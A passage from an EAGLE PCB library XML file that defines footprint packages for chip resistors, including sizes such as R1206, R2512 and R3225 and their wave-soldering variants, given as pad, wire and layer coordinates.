x=\"-0.762\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"R0805W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.159\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"R1005\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"R1206\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"0.9525\" y1=\"-0.8128\" x2=\"-0.9652\" y2=\"-0.8128\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.9525\" y1=\"0.8128\" x2=\"-0.9652\" y2=\"0.8128\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"2\" x=\"1.422\" y=\"0\" dx=\"1.6\" dy=\"1.803\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.422\" y=\"0\" dx=\"1.6\" dy=\"1.803\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6891\" y1=\"-0.8763\" x2=\"-0.9525\" y2=\"0.8763\" layer=\"51\"/>\n<rectangle x1=\"0.9525\" y1=\"-0.8763\" x2=\"1.6891\" y2=\"0.8763\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R1206W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-1.651\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.651\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R1210\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8999\" x2=\"0.3\" y2=\"0.8999\" layer=\"35\"/>\n</package>\n<package name=\"R1210W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.651\" y=\"1.524\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.651\" y=\"-2.794\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"R2010\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.027\" y1=\"1.245\" x2=\"1.027\" y2=\"1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.002\" y1=\"-1.245\" x2=\"1.016\" y2=\"-1.245\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-2.159\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.159\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n</package>\n<package name=\"R2010W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-2.286\" y=\"1.524\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n</package>\n<package name=\"R2012\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.762\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.5999\" x2=\"0.1001\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"R2012W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.5999\" x2=\"0.1001\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"R2512\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"1.473\" x2=\"1.498\" y2=\"1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.473\" y1=\"-1.473\" x2=\"1.498\" y2=\"-1.473\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.8\" y=\"0\" dx=\"1.8\" dy=\"3.2\" layer=\"1\"/>\n<text x=\"-2.667\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.667\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R2512W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-2.362\" y1=\"1.473\" x2=\"2.387\" y2=\"1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.362\" y1=\"-1.473\" x2=\"2.387\" y2=\"-1.473\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.896\" y=\"0\" dx=\"2\" dy=\"2.1\" layer=\"1\"/>\n<text x=\"-2.794\" y=\"1.778\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.794\" y=\"-3.048\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-3.2004\" y1=\"-1.5494\" x2=\"-2.3505\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"2.3622\" y1=\"-1.5494\" x2=\"3.2121\" y2=\"1.5507\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R3216\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R3216W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-1.524\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R3225\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-1\" x2=\"0.3\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R3225W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip, wave soldering</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.524\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-1\" x2=\"0.3\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"R5025\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.9\" y1=\"1.245\" x2=\"0.9\" y2=\"1.245\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.875\" y1=\"-1.245\" x2=\"0.925\" y2=\"-1.245\" width=\"0.1524\" 